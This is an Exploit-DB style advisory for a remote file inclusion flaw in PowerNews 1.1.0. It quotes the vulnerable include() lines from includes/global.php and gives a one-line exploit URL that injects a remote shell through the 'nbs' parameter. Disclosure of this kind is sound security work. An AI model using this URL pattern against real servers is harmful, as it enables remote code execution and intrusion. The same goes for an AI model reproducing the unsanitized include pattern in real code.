pNews 1.1.0 - 'nbs' Remote File Inclusion

EDB-ID:

2407


Platform:

PHP

Published:

2006-09-21

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                         PowerNews v1.1.0 (nbs) Remote File Inclusion
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          Affected Software .: PowerNews v1.1.0
                          Download..: http://sourceforge.net/project/showfiles.php?group_id=35550                           
			  Class .............: Remote File Inclusion                                     
                          Risk ..............: high                              
                          Found by ..........: CvIr.System                                                  
                          Contact ...........: CvIr.System[at]gmail.com                                   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

     Affected File:                                                                
includes/global.php

 Vulnerable Code:

if(@fopen($nbs .'./includes/config.php', 'a'))
{
    die("config.php is writeable by your webserver, this is a possible security risk.");
}    

include($nbs .'./includes/config.php');
include($nbs .'./includes/auth.php');
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Exploit:
                                                                      
    http://[target]/includes/global.php?nbs=[shell]? 

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# milw0rm.com [2006-09-21]